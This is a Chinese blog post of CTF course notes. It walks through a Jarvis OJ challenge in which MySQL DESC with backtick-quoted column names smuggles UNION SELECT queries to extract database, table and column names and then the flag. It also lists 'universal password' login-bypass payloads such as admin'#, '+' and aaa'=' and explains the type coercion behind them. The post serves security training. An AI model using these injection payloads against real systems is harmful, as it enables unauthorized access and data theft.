desc相关例题和万能密码
本文是对安全牛《CTF从入门到提升》课程课时8的记录
desc语法
{DESCRIBE | DESC} tbl_name [col_name | wild]
DESCRIBE提供有关一个表的列信息。col_name可以是一个列名或是一个包含SQL通配符”%”和”_”的字符串
值得注意的是即使col_name是不存在的,desc也不会报错,只是会返回Empty set.这一点在下面的例题中有使用到
例题
http://web.jarvisoj.com:32794/
拿到源代码(这个点以后再讲)
访问http://web.jarvisoj.com:32794/index.php~
再右键查看源代码就可以看到index.php的内容
1 |
|
代码的分析如下:
1 | desc `secret_{$table}` |
这句如果报错的话会执行Hacker(),所以这句一定不能报错,而且代入到下面的
1 | select 'flag{xxx}' from secret_{$table} |
要能够注入出数据
这里就要运用上文提到的col_name不存在时,desc也不会报错的特性,不过首先我们了解一下sql中的反引号``
sql语句中的反引号``
1.反引号常规用法
反引号``在sql语句中一般用于区分MYSQL的保留字与普通字符,比如我想要新建一个叫做select的库时,就要使用``把select括起来
1 | create database `select`; |
2.反引号代替空格
可以用反引号``代替空格,比如
1 | select * from user``union select 1,2,3 from user; |
的效果和
1 | select * from user union select 1,2,3 from user; |
是一样的
3.desc的反引号
1 | desc `user` `id`; |
的效果和
1 | desc user id; |
的效果是一样的
进一步注入
按照上文的思路和``的特性,我们可以构造出这样的语句
1 | desc `secret_test` `union select database() limit 1 offset 1`; |
拿到库名为61d300
之所以要加上limit 1 offset 1是因为最后输出的时候
1 | echo $ret[0]; |
只会输出第一个结果,如果不加limit 1 offset 1的话还是会返回flag{xxx}
后面就是正常的诸如操作了
1 | desc `secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1 offset 1`; |
得到存在表secret_flag,secret_test
1 | desc `secret_test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1 offset 1`; |
拿到列flagUwillNeverKnow
1 | desc `secret_test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1 offset 1`; |
拿到flag
万能密码
查询语句如下:
1 | select * from admin where username='' and password=''; |
1.用户名admin’#
利用#注释掉后面的语句
2.用户名’+’ 密码’+’
这个是运用了mysql弱类型转换的问题
mysql中
1 | select 'aaa'+1; |
会返回1,也就是说这时mysql会将不以数字开头的字符串转换成0处理,因此
1 | select 'a'=0; |
是会返回1(True)的
当用户名和密码都是’+’时,sql语句变成
1 | select * from admin where username=''+'' and password=''+''; |
相当于是
1 | select * from admin where username=0 and password=0; |
只要用户名和密码不是以数字开头的就可以查询出来,数字开头的话是不行的(如果是’000aab’这样的也可以)
3.用户名aaa’=’ 密码aaa’=’
代入sql语句得
1 | select * from user where username='aaa'='' and password='aaa'=''; |
mysql会先查询username=’aaa’,这时返回0(False),然后0和’’比较返回1(True),password部分也是同理
也就是相当于执行了
1 | select * from user where 1 and 1; |
\N
\N在mysql中是NULL的意思,使用它时可以省略空格,比如
1 | select\Nfrom user; |
有啥用呢?我也不知道……
唠叨几句
到这一讲sql注入就讲完了,接下来是文件上传的部分。
最近因为一些事情整个人都很不好,对未来也没什么奢望,只是希望接下来能好过一些吧。